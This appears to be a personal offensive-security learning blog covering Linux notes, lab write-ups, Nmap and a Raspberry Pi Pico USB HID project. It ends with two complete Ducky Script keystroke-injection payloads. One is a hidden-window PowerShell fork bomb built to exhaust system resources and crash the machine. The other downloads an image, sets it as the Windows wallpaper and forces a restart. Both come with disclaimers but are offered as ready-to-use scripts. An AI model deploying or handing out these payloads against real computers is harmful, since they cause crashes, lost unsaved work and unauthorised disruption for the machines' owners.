ubuntu journal // root notes // learning log
Root Access Starts Here..
WrathHack is a personal learning log focused on Linux, ethical hacking, and offensive security. Every write-up, project, and lab completed here represents another step toward becoming a skilled penetration tester. No shortcuts—just curiosity, persistence, and continuous learning.
Project lanes
Linux
Documenting commands, troubleshooting, Bash scripting, networking, and everything I learn while mastering Linux. Every mistake and solution becomes a reference for the future.
Lab writeups
Walkthroughs from TryHackMe, Hack The Box, VulnHub, and other practice labs. Focusing on methodology, enumeration, privilege escalation, and lessons learned—not just the flags.
Cyber Projects
Hands-on cybersecurity projects focused on practical learning. Here you'll find custom scripts, Raspberry Pi experiments, web development, automation tools, and projects like PicoLogger—exploring USB HID devices, embedded hardware, and offensive security concepts in controlled environments.
Journey timeline
Build the foundations
Master Linux, networking, Bash, Python, Git, and the fundamentals of cybersecurity while developing strong technical habits.
Practice nonstop
Complete CTFs,Boot to Roots, vulnerable machines, and real-world style labs. Improve enumeration, web exploitation, privilege escalation, and reporting skills through consistent practice.
Professional growth
Prepare for certifications, gain real-world experience, participate in competitions, and continue working toward a career in penetration testing and offensive security.
blog index
Field notes, writeups, and weekly logs.
This page stays as your separate blog area, but now the visual language matches the darker Ubuntu-based intro more closely.
PicoLogger
A complete build log following the development of a Raspberry Pi Pico-powered USB HID device for cybersecurity research. This project covers component selection, firmware compilation, payload development, device testing, debugging, hardware modifications, and documentation. Along the way I explore USB HID communication, embedded programming, and the practical applications of programmable HID devices in authorized security testing environments.
MrRobot Boot to Root
I completed the Mr-Robot VulnHub machine as one of my first boot-to-root challenges. It helped me practise real penetration testing skills, including enumeration, web exploitation, Linux privilege escalation, and thinking like an attacker in a controlled environment. This challenge improved my understanding of the pentesting process and strengthened my interest in cybersecurity.
TryHackme
I use TryHackMe as a hands-on platform to develop practical cybersecurity skills through real-world labs and simulated environments. It has helped me improve my knowledge of Linux, networking, reconnaissance, enumeration, web vulnerabilities, privilege escalation, and penetration testing workflows. Through different rooms and learning paths, I have practised using tools such as Nmap, Gobuster, Burp Suite, Metasploit, and various Linux security utilities while learning how vulnerabilities are discovered, exploited, and documented. TryHackMe has helped me move beyond theory and apply security concepts in practical environments.
Learning Nmap
Nmap is one of the main tools I use for network reconnaissance and enumeration. I use it to discover hosts, identify open ports, detect running services, and gather information about target systems in controlled lab environments. Learning Nmap has helped me understand how penetration testers map networks, identify potential attack surfaces, and use gathered information to guide further security testing.
countdown channel
Countdown to the UK
once clock hits zero i will update it until i return from the UK.
Countdown to departure
Days
Hours
Minutes
Seconds
ducky scripts
Useful ducky scripts.
Ducky Scripts automate keyboard actions for tasks like IT setup, security testing, and learning about USB HID devices. They are useful for demonstrating physical security risks, automating workflows, and testing systems in authorized environments.
PowerShell Fork Bomb Payload
A PowerShell fork bomb repeatedly creates processes until system resources are exhausted, causing slowdowns or crashes. It demonstrates process abuse and security risks.
Ducky scriptUSB HID Wallpaper Changer
An automated USB HID project that changes the Windows desktop wallpaper by simulating keyboard input and executing system configuration tasks.
ducky script 01
PowerShell Fork Bomb Payload
⚠️ Legal Disclaimer: This project is provided for educational and authorized security testing purposes only. The author does not encourage or support unauthorized access, disruption, or use on systems without explicit permission. Running this payload may cause system instability, loss of unsaved data, or service interruption. Only use this software in controlled environments, such as personal test machines, virtual machines, or systems where you have written authorization to perform security testing. The user is solely responsible for ensuring all use complies with applicable laws and regulations.
DELAY 1000
GUI r
DELAY 500
STRING powershell
ENTER
DELAY 700
STRING while(1){Start-Process powershell -ArgumentList '-NoP -NonI -W Hidden -c \"while(1){Start-Process powershell}\"'}
ENTER
ducky script 02
USB HID Wallpaper Changer
⚠️ Legal Disclaimer: This project is intended for educational purposes, authorized demonstrations, and security research only. Do not use this tool on systems without the owner's explicit permission. The user is responsible for ensuring all use complies with applicable laws and regulations. The author is not responsible for any damage, data loss, or misuse caused by this project. Use only in controlled environments or on systems you own.
DELAY 1000
GUI r
DELAY 500
STRING powershell
ENTER
DELAY 1000
STRING New-Item -ItemType Directory -Path "C:\Wallpapers" -Force
ENTER
DELAY 500
STRING Invoke-WebRequest -Uri "YOUR DOWNLOAD LINK" -OutFile "C:\Wallpapers\wallpaper.jpg"
ENTER
DELAY 1000
STRING $code = @"
ENTER
STRING using System.Runtime.InteropServices;
ENTER
STRING public class Wallpaper {
ENTER
STRING [DllImport("user32.dll", CharSet = CharSet.Auto)]
ENTER
STRING public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
ENTER
STRING }
ENTER
STRING "@
ENTER
DELAY 500
STRING Add-Type $code
ENTER
DELAY 500
STRING [Wallpaper]::SystemParametersInfo(20, 0, "C:\Wallpapers\wallpaper.jpg", 3)
ENTER
DELAY 1000
STRING Restart-Computer -Force
ENTER